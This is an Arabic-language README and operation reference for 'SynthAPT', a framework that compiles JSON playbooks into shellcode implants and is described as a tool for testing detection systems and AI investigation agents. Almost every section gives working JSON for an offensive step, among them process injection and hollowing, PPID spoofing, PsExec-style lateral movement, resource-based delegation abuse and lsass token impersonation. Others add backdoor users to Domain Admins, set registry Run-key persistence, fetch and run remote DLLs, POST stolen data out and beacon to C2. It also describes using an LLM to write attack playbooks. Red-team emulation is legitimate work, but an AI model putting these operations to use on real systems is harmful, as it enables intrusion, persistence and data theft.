إطار عمل لمحاكاة الخصوم يعتمد على الكتيبات التشغيلية (playbooks) يقوم بتجميع مسارات الهجوم المُعرَّفة بصيغة JSON إلى حمولات شيلكود مستقلة عن الموقع من أجل التحقق من صحة أنظمة الكشف المتقدمة وعوامل التحقيق المعتمدة على الذكاء الاصطناعي.

SynthAPT هو إطار عمل لمحاكاة الخصوم يعتمد على السيناريوهات (playbooks) لتكرار مسارات الهجوم المعقدة. وهو مصمم للتحقق من صحة أنظمة الكشف المتقدمة وعوامل التحقيق القائمة على الذكاء الاصطناعي. الفكرة الأساسية هي أن سلوك البرامج الضارة يمكن التعبير عنه بصيغة JSON وتجميعه إلى برامج ضارة وظيفية، مما يتيح تطوير سيناريوهات واقعية بسرعة باستخدام نماذج اللغة الكبيرة (LLMs).

الزرع الأساسي (implant) هو حمولة من شيلكود (shellcode) يقودها مفسر سيناريو (playbook interpreter). يحدد السيناريو مسار الهجوم بالكامل مسبقًا، ويتبعه الزرع، متنقلًا في البيئة عبر حقن العمليات (process injection)، والحركة الجانبية (lateral movement)، وما إلى ذلك. كل زرع ينشأ كخيط مستقل (thread) مع مجموعة تعليمات خاصة به، لذلك يتم التعبير عن الهجمات متعددة المراحل (مثل الوصول الأولي → رفع الامتيازات → الحركة الجانبية → تسريب البيانات) كرسم بياني من الأزرع المتعاونة، وكلها محددة مسبقًا في السيناريو. هذا يوفر ثلاث مزايا رئيسية:

إذا كنت لا تريد استخدام الإصدار الجاهز (release)، يمكنك التجميع كالتالي:
بناء باستخدام cargo make:```bash
cargo make build
./target/release/synthapt
سيؤدي هذا إلى تجميع shellcode والمحرر.
تشغيل SynthAPT بدون أي أوامر سينقلك إلى المحرر. يمكنك تقديم مفتاح API لـ Claude وعرض التغييرات أثناء كتابة الأوامر النصية.```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
إذا كنت ترغب في استخدام LLM آخر أو اشتراك، يمكنك تشغيل `synthapt export-skill` واستخدام ذلك مع أي إعداد برمجي لديك.
يجب أن يُخرج playbook بصيغة JSON. قم بتجميعه إلى payload باستخدام الأمر compile:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
يمكن تعريف الثوابت كسلاسل نصية، أو كائنات سداسية عشرية، أو كائنات base64:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
نهاية مجموعة المهام. يُضاف تلقائيًا بواسطة المترجم - لست بحاجة لإضافته.
---
### store_result (0x01)
تخزين نتيجة العملية الأخيرة في متغير.
| Field | Type | |
|-------|------|-|
| var | u16 | **مطلوب** |```json
{ "op": "store_result", "var": 0 }
أعد وحدات بايت الشيلكود الحالية مع معرف مهمة اختياري و/أو قيمة سحرية مدمجة.
| Field | Type | |
|---|---|---|
| task | u8 | اختياري |
| magic | u32 hex string or number | اختياري |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
---
### sleep (0x03)
النوم لعدد معين من المللي ثانية.
| Field | Type | |
|-------|------|-|
| ms | u32 | **مطلوب** |```json
{ "op": "sleep", "ms": 5000 }
تنفيذ أمر عبر cmd.exe.
| Field | Type | |
|---|---|---|
| command | string | مطلوب |
| { "op": "run_command", "command": "whoami /all" } |
---
### get_cwd (0x05)
احصل على دليل العمل الحالي. لا وسائط.```json
{ "op": "get_cwd" }
اقرأ ملفًا وأعد محتواه.
| الحقل | النوع | |
|---|---|---|
| path | string | مطلوب |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
كتابة بايتات إلى ملف.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| content | bytes | *اختياري* (ملف فارغ إذا تم حذفه) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
اطبع رمز الحالة لمتغير (0 = نجاح، غير صفري = خطأ).
| حقل | نوع | |
|---|---|---|
| var | u16 | مطلوب |
| { "op": "check_error", "var": 0 } |
---
### شرطي (0x09)
التفرع إلى فهارس مهام مختلفة بناءً على حالة المتغير.
| الحقل | النوع | |
|-------|------|-|
| mode | `"data"` أو `"error"` | **مطلوب** |
| var1 | u16 | **مطلوب** |
| var2 | u16 | *اختياري* (مقارنة متغيرين بدلاً من فحص واحد) |
| true | u16 | **مطلوب** (فهرس المهمة إذا كان الشرط صحيحاً) |
| false | u16 | **مطلوب** (فهرس المهمة إذا كان الشرط خاطئاً) |
`true_target` و `false_target` يتم قبولها كأسماء مستعارة لـ `true` و `false`.
أوضاع المتغير الواحد:
- `"data"` — صحيح إذا كان var1 يحتوي على بيانات غير فارغة
- `"error"` — صحيح إذا كانت حالة var1 تساوي 0 (نجاح)
أوضاع المتغيرين (عند وجود var2):
- `"data"` — صحيح إذا كانت بيانات var1 تساوي بيانات var2
- `"error"` — صحيح إذا كان رمز خطأ var1 يساوي رمز خطأ var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
تعيين متغير إلى قيمة حرفية.
| الحقل | النوع | |
|---|---|---|
| var | u16 | مطلوب |
| data | bytes | اختياري (فارغ إذا تم حذفه) |
يتم تخزين القيم الحرفية (literal strings) وقيم hex/base64 مع بادئة نتيجة طولها 5 بايت لتظهر كنتائج عمليات عادية عند قراءتها. يتم تمرير مراجع المتغيرات ($n) والثوابت (%n) كما هي.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
اطبع محتويات متغير إلى stdout (تصحيح). احذف `var` لطباعة نتيجة العملية الأخيرة.
| Field | Type | |
|-------|------|-|
| var | u16 | *اختياري* (يطبع آخر نتيجة إذا كان غائبًا) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
قفزة غير مشروطة إلى فهرس مهمة ضمن مجموعة المهام الحالية.
| Field | Type | |
|---|---|---|
| target | u16 | required |
| { "op": "goto", "target": 2 } |
---
### migrate (0x0D)
حقن shellcode في عملية تطابق سلسلة بحث أو PID.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **مطلوب** |
| search | string or number | *اختياري* (فارغ = لا بحث؛ رقم = PID الهدف) |
| magic | u32 hex string or number | *اختياري* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
سرد العمليات الجارية. يعيد سطورًا مفصولة بعلامات التبويب: pid\timage\tcmdline\n. لا وسائط.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
تحميل ثابت في النتيجة الأخيرة. يقبل `index` أو `const_idx` كاسم الحقل.
| Field | Type | |
|-------|------|-|
| index | u16 | **مطلوب** |```json
{ "op": "get_const", "index": 0 }
قم بتنفيذ أمر عبر WMI، اختيارياً على مضيف بعيد.
| Field | Type | |
|---|---|---|
| command | string | مطلوب |
| host | string | اختياري (فارغ = المضيف المحلي) |
| user | string | اختياري (فارغ = المستخدم الحالي) |
| pass | string | اختياري (فارغ = بيانات الاعتماد الحالية) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
إرسال طلب HTTP/S.
| الحقل | النوع | |
|-------|------|-|
| host | string | **مطلوب** |
| method | string | *اختياري* (الإفتراضي: `"GET"`) |
| port | u16 | *اختياري* (الإفتراضي: `80`) |
| path | string | *اختياري* (الإفتراضي: `"/"`) |
| secure | bool | *اختياري* (الإفتراضي: `false`) |
| body | bytes | *اختياري* (فارغ إذا تم حذفه) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
قم بإنشاء عملية معلقة، وحقن شيلكود، واستئنافها.
| Field | Type | |
|---|---|---|
| image | string | مطلوب |
| task_id | u8 | مطلوب |
| pipe_name | string | اختياري (أنبوب مسمى لالتقاط المخرجات، بدون البادئة \\.\pipe\) |
| search | string | اختياري (اسم العملية/سطر الأوامر لتزوير PPID منه) |
| no_kill | bool | اختياري (الافتراضي: false — يتم إنهاء العملية بعد الحقن) |
| { "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" } |
---
### redirect_stdout (0x13)
إعادة توجيه stdout إلى ملف أو أنبوب مسمى. يذهب إخراج `run_command` اللاحق إلى هناك.
| Field | Type | |
|-------|------|-|
| path | string | **مطلوب** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
ابدأ خادم TCP يخدم التعليمات البرمجية للقذيفة (shellcode) للعملاء المتصلين. يتلقى كل عميل نسخة بقيمة سحرية متزايدة.
| الحقل | النوع | |
|---|---|---|
| port | u16 | مطلوب |
| magic_base | u32 سلسلة سداسية عشرية أو رقم | اختياري |
| { "op": "shellcode_server", "port": 8080 } | ||
| { "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" } |
---
### resolve_hostname (0x15)
حل اسم المضيف إلى سلسلة عنوان IPv4.
| Field | Type | |
|-------|------|-|
| hostname | string | **مطلوب** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
انسخ ملفًا ثنائيًا إلى مضيف بعيد عبر SMB وقم بتنفيذه كخدمة (حركة جانبية على غرار PsExec).
| الحقل | النوع | |
|---|---|---|
| target | string | مطلوب (اسم المضيف أو عنوان IP) |
| service_name | string | مطلوب |
| display_name | string | مطلوب |
| binary_path | string | مطلوب (المسار على المضيف البعيد) |
| service_bin | bytes | مطلوب (البيانات الثنائية للكتابة) |
| { "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" } |
---
### generate_exe (0x17)
إنشاء ملف تنفيذي PE مع تضمين الشيل كود والبايت كود الحاليين.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **مطلوب** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
تنفيذ ملف كائن المنارة (BOF).
| الحقل | النوع | |
|---|---|---|
| bof_data | bytes | مطلوب |
| entry | string | اختياري (الافتراضي: "go") |
| inputs | bytes | اختياري (وسائط BOF، فارغ إذا تم حذفه) |
| { "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" } | ||
| { "op": "run_bof", "bof_data": "$0" } |
---
### query_ldap (0x19)
استعلام عن دليل LDAP.
| الحقل | النوع | |
|-------|------|-|
| base | string | **مطلوب** (DN الأساسي) |
| filter | string | **مطلوب** |
| scope | u8 | *اختياري* (الافتراضي: `2` = شجرة فرعية; `0` = الأساس, `1` = مستوى واحد) |
| attribute | string | *اختياري* (فارغ = إرجاع جميع السمات) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
تعيين سمة Active Directory إلى قيمة string.
| الحقل | النوع | |
|---|---|---|
| dn | string | مطلوب |
| attr | string | مطلوب |
| value | string | مطلوب |
| { "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" } |
---
### set_ad_attr_bin (0x1B)
تعيين سمة Active Directory إلى قيمة ثنائية. مرر قيمة فارغة لحذف السمة.
| الحقل | النوع | |
|-------|------|-|
| dn | string | **مطلوب** |
| attr | string | **مطلوب** |
| value | bytes | **مطلوب** (فارغ = حذف السمة) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
افحص منافذ TCP على هدف أو أكثر. يُرجع سطورًا تحتوي على host\tport\n للمنافذ المفتوحة فقط.
| Field | Type | |
|---|---|---|
| targets | string | required (عناوين IP مفصولة بفواصل، CIDRs، نطاقات، أو أسماء مضيفين؛ اسم مستعار: host) |
| ports | string | required (منافذ أو نطاقات مفصولة بفواصل، على سبيل المثال "22,80,443,8000-8100") |
| { "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" } | ||
| { "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" } |
---
### set_user_password (0x1D)
تعيين كلمة مرور مستخدم محلي أو نطاق عبر NetUserSetInfo.
| الحقل | النوع | |
|-------|------|-|
| username | string | **مطلوب** |
| password | string | **مطلوب** |
| server | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
إضافة مستخدم إلى مجموعة محلية عبر NetLocalGroupAddMembers.
| الحقل | النوع | |
|---|---|---|
| group | string | مطلوب |
| username | string | مطلوب |
| server | string | اختياري (فارغ = الجهاز المحلي) |
| { "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" } | ||
| { "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" } |
---
### remove_user_from_localgroup (0x1F)
إزالة مستخدم من مجموعة محلية عبر NetLocalGroupDelMembers.
| Field | Type | |
|-------|------|-|
| group | string | **مطلوب** |
| username | string | **مطلوب** |
| server | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
ابحث عن سلسلة SID الخاصة بمستخدم عبر LookupAccountName.
| Field | Type | |
|---|---|---|
| username | string | مطلوب |
| server | string | اختياري (فارغ = الجهاز المحلي) |
يعيد سلسلة SID، على سبيل المثال S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
إضافة مستخدم إلى مجموعة مجال عبر NetGroupAddUser.
| الحقل | النوع | |
|-------|------|-|
| group | string | **مطلوب** |
| username | string | **مطلوب** |
| server | string | *اختياري* (فارغ = DC محلي) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
إزالة مستخدم من مجموعة نطاق عبر NetGroupDelUser.
| Field | Type | |
|---|---|---|
| group | string | مطلوب |
| username | string | مطلوب |
| server | string | اختياري (فارغ = DC محلي) |
| { "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" } |
---
### create_rbcd_ace (0x23)
بناء ACE ثنائي للتفويض المقيد القائم على الموارد. النتيجة مناسبة للكتابة مباشرة إلى `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| الحقل | النوع | |
|-------|------|-|
| sid | string | **مطلوب** (سلسلة SID، مثلًا من `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
إنشاء مفتاح تسجيل.
| الحقل | النوع | |
|---|---|---|
| key | string | مطلوب (المسار الكامل، مثل: "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } |
---
### reg_delete_key (0x25)
حذف مفتاح التسجيل.
| Field | Type | |
|-------|------|-|
| key | string | **مطلوب** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
تعيين قيمة سجل.
| الحقل | النوع | |
|---|---|---|
| مفتاح | نص | مطلوب |
| اسم القيمة | نص | مطلوب (سلسلة فارغة للقيمة الافتراضية) |
| القيمة | بايتات | مطلوب |
| نوع القيمة | نص | اختياري (افتراضي: "REG_SZ"؛ أيضًا: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD) |
| { "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" } | ||
| { "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } } |
### reg_query_value (0x27)
استعلام عن قيمة في السجل. يعيد وحدات البايت الخام للقيمة.
| الحقل | النوع | |
|-------|------|-|
| key | string | **مطلوب** |
| value_name | string | **مطلوب** (سلسلة فارغة للقيمة الافتراضية) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
إنشاء رمز انتحال عبر LogonUser وانتحاله. نوع تسجيل الدخول الافتراضي هو 9 (LOGON32_LOGON_NEW_CREDENTIALS)، والذي يستخدم بيانات الاعتماد المقدمة للاتصالات الشبكية الصادرة مع الحفاظ على الرمز المحلي دون تغيير.
| الحقل | النوع | |
|---|---|---|
| username | string | مطلوب |
| password | string | مطلوب |
| domain | string | اختياري (فارغ = مجموعة عمل أو تنسيق UPN) |
| logon_type | u8 | اختياري (الافتراضي: 9; 2 = تفاعلي, 3 = شبكة) |
| { "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" } | ||
| { "op": "make_token", "username": "[email protected]", "password": "Password1" } | ||
| { "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 } |
---
### impersonate_process (0x29)
افتح رمز عملية وانتحل هويته. مفيد لتصعيد الامتيازات أو سرقة الرموز الجانبية.
| الحقل | النوع | |
|-------|------|-|
| search | string | **مطلوب** (يطابق اسم الصورة أو سطر الأوامر) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
تمكين امتياز على رمز العملية.
| Field | Type | |
|---|---|---|
| privilege | string | مطلوب (alias: priv_name) |
| search | string | اختياري (فارغ = العملية الحالية) |
| { "op": "enable_privilege", "privilege": "SeDebugPrivilege" } | ||
| { "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" } |
---
### list_process_privs (0x2B)
قائمة بأسماء الامتيازات وحالتها (مفعلة/معطلة) لعملية. تُرجع سطورًا بالشكل `name\tenabled\n` أو `name\tdisabled\n`.
| الحقل | النوع | |
|-------|------|-|
| search | string | *اختياري* (فارغ = العملية الحالية) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
قائمة الامتيازات على رمز الخيط الحالي. تُرجع نفس تنسيق list_process_privs. لا توجد وسائط.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
حذف ملف.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
التراجع إلى رمز العملية الأصلي، وإنهاء أي انتحال. لا وسائط.```json { "op": "revert_to_self" }
### start_service (0x2F)
ابدأ خدمة Windows.
| الحقل | النوع | |
|-------|------|-|
| service_name | string | **مطلوب** |
| target | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
حذف خدمة ويندوز.
| الحقل | النوع | |
|---|---|---|
| service_name | string | مطلوب |
| target | string | اختياري (فارغ = الجهاز المحلي) |
| { "op": "delete_service", "service_name": "MySvc" } | ||
| { "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" } |
---
### create_thread (0x31)
قم بإنشاء سلسلة تنفيذ جديدة في العملية الحالية تشغل نسخة من الشيلكود. إذا تم حذف `magic`، يتم فحص أكوام العملية للعثور على قيمة سحرية فريدة لا تتعارض مع المثيلات الموجودة.
| الحقل | النوع | |
|-------|------|-|
| task | u8 | *اختياري* (احذفه أو استخدم `255` = نفس مجموعة المهام للسلسلة الحالية) |
| magic | u32 سلسلة ست عشرية أو رقم | *اختياري* (يتم الكشف تلقائيًا إذا تم حذفه) |
> **تحذير**: حذف `task` يؤدي إلى تشغيل نفس مجموعة المهام في سلسلة تنفيذ جديدة. إذا قامت مجموعة المهام باستدعاء `create_thread` مرة أخرى، يؤدي ذلك إلى سلاسل تنفيذ غير محدودة.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
توليد DLL مع كود shellcode الحالي مضمنًا. يتم تشغيل shellcode عند DLL_PROCESS_ATTACH وتصدير دالة مسماة تقوم أيضًا بتشغيل shellcode.
| الحقل | النوع | |
|---|---|---|
| task_id | u8 | مطلوب |
| export_name | string | اختياري (افتراضي: "Run") |
| { "op": "generate_dll", "task_id": 2 }, | ||
| { "op": "store_result", "var": 0 }, | ||
| { "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" } |
---
### shell_execute (0x33)
تنفيذ ملف باستخدام ShellExecuteEx عبر COM. تظهر العملية الناتجة كما لو أنها أُطلقت بواسطة shell.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| verb | string | *اختياري* (مثل `"open"`, `"runas"`) |
| args | string | *اختياري* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
استخراج أرشيف ZIP باستخدام شل Windows.
| Field | Type | |
|---|---|---|
| path | string | مطلوب (المسار إلى ملف ZIP) |
يستخرج إلى مجلد بنفس اسم ملف ZIP (بدون الامتداد) في نفس الدليل.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
تنفيذ ملف عبر explorer.exe كعملية أصل باستخدام COM. تبدو العملية المنبثقة وكأنها تم إطلاقها بواسطة المستخدم من Explorer.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| verb | string | *اختياري* |
| args | string | *اختياري* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
قم بتحميل DLL في العملية الحالية عبر LoadLibraryW.
| حقل | النوع | |
|---|---|---|
| path | string | مطلوب |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } |
### pyexec (0x37)
تنزيل مكتبة Python DLL من URL (مخزنة مؤقتًا في الذاكرة بعد التنزيل الأول)، ثم تنفيذ سكريبت Python. يكشف عن وحدة `agent` مع روابط لجميع أوامر الوكيل.
| الحقل | النوع | |
|-------|------|-|
| url | string | *اختياري* (URL لمكتبة Python DLL; فارغ = استخدام Python المحملة بالفعل) |
| script | string | *اختياري* (كود Python للتنفيذ; فارغ = التهيئة دون تشغيل) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
إفراغ العملية: إنشاء عملية شرعية معلقة، استبدال نقطة الدخول الخاصة بها بـ shellcode، ثم استئنافها.
| الحقل | النوع | |
|---|---|---|
| image | string | مطلوب |
| task_id | u8 | مطلوب |
| search | string | اختياري (اسم العملية/سطر الأوامر لانتحال PPID منه) |
| { "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 } | ||
| { "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" } |
---
### migrate_apc (0x39)
قم بإنتاج عملية معلقة، وخصص ذاكرة قابلة للقراءة والكتابة والتنفيذ، واكتب شيلكود، وقم بإدراج APC في الخيط الرئيسي، واستأنف. يُرجع معرف العملية المنتجة.
| Field | Type | |
|-------|------|-|
| image | string | **required** |
| task_id | u8 | **required** |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
سجل العملية الحالية كخدمة ويندوز عن طريق استدعاء StartServiceCtrlDispatcher. يجب استدعاؤها مبكرًا عندما تبدأ العملية بواسطة مدير التحكم بالخدمات (Service Control Manager)، وإلا سيقوم مدير التحكم بقتلها بعد حوالي 30 ثانية. تقوم بتشغيل اتصال مدير التحكم بالخدمات في خلفية مؤشر ترابط بحيث تستمر مجموعة المهام الرئيسية بشكل طبيعي.
| الحقل | النوع | |
|---|---|---|
| service_name | string | مطلوب (اسم مستعار: name) |
| { "op": "register_service", "service_name": "MySvc" } |
---
### exit_process (0x3B)
إنهاء العملية الحالية.
| الحقل | النوع | |
|-------|------|-|
| exit_code | u32 | *اختياري* (الافتراضي: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
تشغيل عملية معلقة وحقن شيلكود عبر APC. مشابه لـ migrate_apc ولكن مع إمكانية تزييف PPID بشكل اختياري.
| Field | Type | |
|---|---|---|
| image | string | مطلوب |
| task_id | u8 | مطلوب |
| search | string | اختياري (اسم العملية/سطر الأوامر لتزييف PPID منه) |
| { "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" } |
---
### frida_hook (0x3F)
قم بتنزيل مكتبة Frida gadget DLL من عنوان URL (يتم تخزينها مؤقتًا بعد التنزيل الأول) وقم بتثبيت خطاف JavaScript.
| الحقل | النوع | |
|-------|------|-|
| url | string | **مطلوب** |
| script | string | **مطلوب** (JavaScript باستخدام واجهة برمجة تطبيقات Frida) |
| name | string | *اختياري* (اسم الخطاف للرجوع إليه لاحقًا باستخدام `frida_unhook`) |
| callback_host | string | *اختياري* (المضيف الذي سيتم إرسال رسائل `send()` إليه عبر HTTP POST) |
| callback_port | u16 | *اختياري* |
| batch_size | u32 | *اختياري* (عدد الرسائل لكل دفعة HTTP POST؛ الافتراضي: `50`) |
| flush_interval | u32 | *اختياري* (فاصل التدفق بالمللي ثانية؛ الافتراضي: `5000`) |
الرسائل المرسلة عبر `send()` في JavaScript إما تُنشر إلى `callback_host:callback_port/frida` أو تُكتب إلى stdout إذا لم يتم تكوين رد اتصال.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
إلغاء تحميل خطاف Frida. بدون وسائط، يقوم بإلغاء تحميل جميع الخطافات.
| Field | Type | |
|---|---|---|
| hook_id | i32 | اختياري (معرف الخطاف الذي تم إرجاعه بواسطة frida_hook) |
| name | string | اختياري (اسم الخطاف المُعيَّن بحقل name في frida_hook) |
| { "op": "frida_unhook" } | ||
| { "op": "frida_unhook", "hook_id": 1 } | ||
| { "op": "frida_unhook", "name": "my_hook" } |
### kill (0x42)
اقتل مثيل وكيل قيد التشغيل بواسطة قيمته السحرية.
| الحقل | النوع | |
|-------|------|-|
| magic | u32 hex string or number | *اختياري* (احذف لقتل المثيل الحالي) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
الاتصال بخادم C2 عبر HTTP واستقصاء مهام bytecode.
| الحقل | النوع | |
|---|---|---|
| host | string | اختياري |
| port | u16 | اختياري (الافتراضي: 80) |
| interval | u32 | اختياري (فاصل الاستقصاء بالمللي ثانية؛ الافتراضي: 5000) |
| secure | bool | اختياري (الافتراضي: false) |
| agent_id | string | اختياري (معرف يُرسل في طلبات beacon) |
| { "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true } |
---
### mem_read (0x44)
اقرأ البايتات الخام من عنوان ذاكرة في العملية الحالية أو عملية عن بعد.
| الحقل | النوع | |
|-------|------|-|
| address | hex string | **مطلوب** (عنوان كأحرف سداسية عشرية، على سبيل المثال `"7FFE0030"`؛ يتم إزالة البادئة `0x` تلقائيًا) |
| size | u32 | **مطلوب** |
| pid | u32 | *اختياري* (عملية عن بعد؛ احذف للقراءة المحلية) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
تجول في PEB LDR InLoadOrderModuleList وأعد الوحدات المحملة. يعيد Vec<ProcessResult<ModuleInfo>> بتنسيق postcard.
| Field | Type | |
|---|---|---|
| pid | u32 أو "all" | اختياري (احذف = العملية الحالية؛ "all" = كل عملية يمكن الوصول إليها) |
| { "op": "dll_list" } | ||
